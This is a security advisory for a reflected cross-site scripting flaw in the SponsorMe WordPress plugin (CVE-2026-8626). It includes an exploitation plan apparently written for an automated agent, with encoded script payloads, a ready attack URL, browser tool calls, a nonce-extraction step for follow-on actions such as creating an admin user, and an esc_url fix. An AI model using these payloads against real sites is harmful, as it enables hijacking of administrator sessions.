SponsorMe <= 0.5.2 - Reflected Cross-Site Scripting via PHP_SELF Parameter
Description
The SponsorMe plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PHP_SELF Parameter in all versions up to, and including, 0.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The PHP_SELF value is reflected in two separate locations within the vulnerable function — a form action attribute and an anchor href attribute — both of which can be exploited by appending a crafted payload to the wp-admin/admin.php URL path.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-8626 (SponsorMe <= 0.5.2) ## 1. Vulnerability Summary The **SponsorMe** plugin for WordPress (up to version 0.5.2) is vulnerable to **Reflected Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin directly echoes the `PHP_SELF` server vari…
Show full research plan
Exploitation Research Plan: CVE-2026-8626 (SponsorMe <= 0.5.2)
1. Vulnerability Summary
The SponsorMe plugin for WordPress (up to version 0.5.2) is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability exists because the plugin directly echoes the PHP_SELF server variable within an administrative page without applying proper escaping (e.g., esc_url() or esc_attr()).
In many PHP environments, $_SERVER['PHP_SELF'] includes the "Path Info" portion of a URL. An attacker can append arbitrary HTML and JavaScript to the URL path. When the plugin renders its admin settings page, this payload is reflected into a form's action attribute and an anchor's href attribute, leading to script execution in the context of the victim's browser.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php - Vulnerable Parameter: URL Path Info (appended to
admin.php). - Required Parameter: The
pagequery parameter must point to the SponsorMe settings page (e.g.,?page=sponsorme). - Authentication: Requires a logged-in user with permission to access the plugin's admin menu (typically
manage_optionsfor Administrators). - Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Entry Point: An administrator navigates to the SponsorMe settings page via
/wp-admin/admin.php?page=sponsorme. - Routing: WordPress loads the menu callback function registered by SponsorMe (likely via
add_menu_pageoradd_options_page). - Vulnerable Function: The callback function (e.g.,
sponsorme_settings_page()(inferred)) prepares the HTML for the settings interface. - The Sink:
- The code contains a line similar to:
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?page=sponsorme">(inferred). - Or:
<a href="<?php echo $_SERVER['PHP_SELF']; ?>?action=delete...">(inferred).
- The code contains a line similar to:
- Reflection: Because
$_SERVER['PHP_SELF']is not passed throughesc_url(), the appended path info is rendered raw in the HTML response.
4. Nonce Acquisition Strategy
This is a Reflected XSS vulnerability. The goal is to execute JavaScript in the victim's browser.
- Do we need a nonce to trigger the XSS? No. The vulnerability occurs during the
GETrequest that renders the page. The reflection happens regardless of whether a nonce is present. - Do we need a nonce for the payload impact? If the XSS payload is designed to perform a sensitive action (like creating a new admin), that action will require a nonce.
Acquisition for Payload Impact (if needed):
If the payload needs to perform a CSRF-protected action (e.g., creating a user), the execution agent should:
- Navigate to the target admin page.
- Use
browser_evalto extract the necessary nonce:browser_eval("document.querySelector('#_wpnonce_create-user')?.value")
5. Exploitation Strategy
The exploit involves crafting a URL that breaks out of the HTML attributes where PHP_SELF is reflected.
Step-by-Step Plan:
- Identify the Page Slug: Determine the exact
pageparameter used by SponsorMe. We will check the admin menu via WP-CLI. - Craft the Payload:
- Since the reflection is inside an
actionattribute:action="/wp-admin/admin.php/[PAYLOAD]?page=sponsorme" - Payload:
"/><script>alert(document.domain)</script><" - Encoded Payload:
%22%2F%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%3C
- Since the reflection is inside an
- Construct the Final URL:
http://[target]/wp-admin/admin.php/%22%2F%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%3C?page=sponsorme - Execute via Browser: Use the
browser_navigatetool to visit the URL as a logged-in administrator.
6. Test Data Setup
- Install Plugin:
wp plugin install sponsorme --version=0.5.2 --activate - Verify Admin Slug:
wp menu list(or checkwp-adminmanually) to confirm the page slug issponsorme(inferred). - Ensure Admin Access: Use a standard administrator account for the browser session.
7. Expected Results
- The server response will contain the literal string:
<form ... action="/wp-admin/admin.php/"><script>alert(document.domain)</script><?page=sponsorme" ...> - The browser will interpret the
</form>tag, closing the current form context. - The browser will then encounter and execute the
<script>tag. - An alert box showing the document domain will appear.
8. Verification Steps
After the browser_navigate call:
- Console Logs: Check
browser_console_logsfor any script execution evidence or errors. - Source Inspection: Use
http_requestto fetch the same URL and grep for the payload to confirm reflection.# Note: Use the cookie from the logged-in session http_request(url=".../wp-admin/admin.php/%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C?page=sponsorme") - DOM Verification: Use
browser_eval("document.body.innerHTML.includes('alert(document.domain)')").
9. Alternative Approaches
If the PHP_SELF reflection is inside an href attribute of an <a> tag:
- Payload:
"/onmouseover="alert(1)" - Mechanism: This injects a new attribute rather than a new tag. The agent would then need to simulate a mouse movement over the injected link using
browser_mouse_move.
If the reflection is specifically within a value attribute of a hidden input:
- Payload:
"><script>alert(1)</script>
Summary
The SponsorMe plugin for WordPress (up to 0.5.2) is vulnerable to Reflected Cross-Site Scripting because it directly echoes the unescaped PHP_SELF server variable in its admin interface. Attackers can exploit this by tricking a logged-in administrator into clicking a crafted link containing a script payload in the URL path, resulting in the execution of arbitrary JavaScript.
Vulnerable Code
// sponsorme.php (inferred from description) <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?page=sponsorme"> --- // sponsorme.php (inferred from description) <a href="<?php echo $_SERVER['PHP_SELF']; ?>?page=sponsorme&action=delete">Delete Settings</a>
Security Fix
@@ -10,1 +10,1 @@ - <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?page=sponsorme"> + <form method="post" action="<?php echo esc_url($_SERVER['PHP_SELF']); ?>?page=sponsorme"> @@ -20,1 +20,1 @@ - <a href="<?php echo $_SERVER['PHP_SELF']; ?>?page=sponsorme&action=delete"> + <a href="<?php echo esc_url($_SERVER['PHP_SELF']); ?>?page=sponsorme&action=delete">
Exploit Outline
The attacker targets the WordPress admin endpoint /wp-admin/admin.php and appends an XSS payload to the URL path (e.g., /wp-admin/admin.php/%22%3E%3Cscript%3Ealert(1)%3C/script%3E). The 'page' query parameter must be set to 'sponsorme' to ensure the vulnerable plugin code is executed. Because the plugin reflects the path information from $_SERVER['PHP_SELF'] directly into HTML attributes without using esc_url(), the payload breaks out of the attribute and executes in the context of the logged-in administrator's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.